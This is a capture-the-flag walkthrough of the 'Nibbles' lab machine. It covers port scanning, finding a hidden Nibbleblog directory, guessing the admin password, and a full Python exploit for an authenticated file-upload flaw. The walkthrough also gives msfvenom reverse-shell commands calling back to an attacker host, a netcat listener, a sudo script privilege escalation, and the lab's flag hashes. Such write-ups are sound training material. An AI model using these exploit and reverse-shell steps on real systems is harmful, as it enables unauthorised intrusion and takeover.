NIBBLES
10.10.10.75

Recon
nmap-auto 10.10.10.75 all
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the normal ssh port, it looks like there's an Apache webservice running on the http port. The only other note is that the service enumeration got a match for a Linux box.
Enumeration
Knowing the ssh port is probably not vulnerable, a good starting place would be the webpage. Opening it up shows a simple page with the words "Hello world!". When there's something simple like this, it means one of three things: (1) There's more to it, view the page source (2) It's a filler page, enumerate the website, (3) It's a dead end, move on to another service. In this case with only two open ports, it's not option 3, so it has to be options 1 or 2. By right-clicking and choosing the option ["View page source"](view-source:http://10.10.10.75/), a comment is discovered underneath the simple bold text.

The comment gives away a hidden directory "/nibbleblog/" with a bad attempt to pretend like there's nothing there. Time to check it out. Heading to http://10.10.10.75/nibbleblog/ shows a blog homepage called "Nibbles Yum yum".

Clicking around doesn't really do anything, maybe a directory search using [dirsearch](https://github.com/maurosoria/dirsearch) on the subdirectory will show more.
python3 dirsearch.py -e txt,html,php,sh -w /home/z3r0/Resources/wordlists/dir-list.txt -t 10 -u http://10.10.10.75/nibbleblog/

http://10.10.10.75/nibbleblog/admin/
http://10.10.10.75/nibbleblog/admin.php
login page, maybe needs brute forcing or credentials found somewhere else
http://10.10.10.75/nibbleblog/content/
directory tree with "private/", "public/", "tmp/"
/content/private/config.xml shoes email as admin@nibbles.com
/content/private/plugins/categories/db.xml has name Diego Najar
http://10.10.10.75/nibbleblog/index.php
http://10.10.10.75/nibbleblog/languages/
http://10.10.10.75/nibbleblog/plugins/
http://10.10.10.75/nibbleblog/README
Nibbleblog version 4.0.3 "Coffee" released 2014-04-01
Uses PHP v5.2
http://10.10.10.75/nibbleblog/themes/
Exploitation
The first thing I attempted was brute forcing the admin page with hydra... this ended up being a bad idea as nibbleblog has a security function that will blacklist the ip address of the user with too many incorrect attempts. After resetting the box and not finding any obvious credentials lying around, I tried to guess the password for admin. Luckily, this worked, and the password ended up being *nibbles* which happens to be the name of the box.

Nothing really stood out right away, so I googled "nibbleblog 4.0.3 exploit" and found some results for an arbitrary file upload exploit that could be used to get a shell on the box. One in specific, [nibbleBlog_fileUpload.py](https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py), uploads and executes a PHP reverse shell as long as the exploiter knows the username and password to access the admin page. The script requires some changes to the variables 'nibbleUsername', 'nibblePassword', and 'nibbleURL' as well as prepping some reverse shell code using the msfvenom
command given in the python script.
#!/usr/bin/python
#
# Your PHP Payload goes into local file nibble.txt
# msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=ATTACKER LPORT=ATTACKER
#
# Loosely ported from the NibbleBlog File Upload MSF Module
#
# Twitter: @a7kemc73
#
import requests
DEBUG=1
nibbleUsername = "admin"
nibblePassword = "nibbles"
nibbleURL = "http://10.10.10.75/nibbleblog/"
loginURL = nibbleURL + "admin.php"
uploadURL = nibbleURL + "admin.php?controller=plugins&action=config&plugin=my_image"
exploitURL = nibbleURL + "content/private/plugins/my_image/image.php"
body='<?php echo "He4dTr1p is pwning...<br>";'
with open('nibble.txt', 'r') as payload:
body=body + payload.read()
body=body + 'echo "Check for shell!"; ?>'
with requests.Session() as web:
# Getting login session and cookies
loginGetResp = web.get(loginURL)
loginPostResp = web.post(loginURL, data={'username':nibbleUsername,'password':nibblePassword})
if DEBUG > 0:
print '[-] LOGIN RESPONSE: ' + str(loginPostResp.status_code) + " " + str(loginPostResp.reason)
if DEBUG > 1:
print '\n' + loginPostResp.text
if 'Incorrect username or password.' in loginPostResp.text:
print '[!] Login Failed.'
else:
# Performing File Upload
print '[+] Login Successful.'
uploadPostResp = web.post(uploadURL, data={'plugin':'my_image','title':'My image','position':'4','caption':'He4dTr1p','image_resize':'1','image_width':'230','image_height':'200','image_option':'auto'}, files={'image': ('nibbles.php', body, 'application/x-php')}, timeout=30)
if DEBUG > 0:
if '<b>Warning</b>' in uploadPostResp.text:
print '[-] Upload likely successful.'
else:
print '[-] Upload likely failed.'
if DEBUG > 0:
print '[-] UPLOAD RESPONSE: ' + str(uploadPostResp.status_code) + ' ' + str(uploadPostResp.reason)
if DEBUG > 1:
print '\n' + uploadPostResp.text
# Executing Upload
exploitResp = web.get(exploitURL)
if exploitResp.status_code == 200:
print '[+] Exploit launched, check for shell.'
else:
print '[!] Exploit failed.'
if DEBUG > 0:
print '[-] EXPLOIT RESPONSE: ' + str(exploitResp.status_code) + ' ' + str(exploitResp.reason)
if DEBUG > 1:
print '\n' + exploitResp.text
Set up a listener:
nc -nvlp 9000
Create payload:
msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.14.9 LPORT=9000
Execute script:
python nibbleBlog_fileUpload.py

Doing the above gets a non-interactive shell as user nibbler
. Checking the file "/etc/passwd" shows that nibbler
actually has no shell set... that will have to change later. Might as well get the flag in "/home/nibbler" and check out and interesting low-hanging fruit.
user.txt: e92613df1dd44a1615667d7c898b5e51
Privilege Escalation
First things first, this shell just won't do. The normal python tty shell that I spawn didn't work this time, but it's possible to create a shell environment by setting the standard variable SHELL to a bourne-again shell.
SHELL=/bin/bash script -q /dev/null
Cool, now there's a shell environment to work with. Running sudo -l
shows that nibbler
can execute a bash script, "/home/nibbler/personal/stuff/monitor.sh" as root without a password.

Bingo, lets just change that script to reflect some h4x0r things. First, head to to "/home/nibbler" directory. The only thing besides the flag is a zip file called "personal.zip", spoiler alert, unzipping it will create the folder structure that's necessary to execute the privesc command i.e. "/home/nibbler/personal/stuff/". It's possible to do it manually too.
Go into nibbler directory:
cd /home/nibbler
Set up directory structure:
mkdir -p personal/stuff
Create exploit file:
echo '/bin/bash' > personal/stuff/monitor.sh
Make the bash file executable:
chmod +x personal/stuff/monitor.sh
Run bash file:
sudo ./personal/stuff/monitor.sh

Last thing to do is grab the flag at "/root/root.txt".
root.txt: 594503f570608adb0cbe6f578cef1d4d
Last updated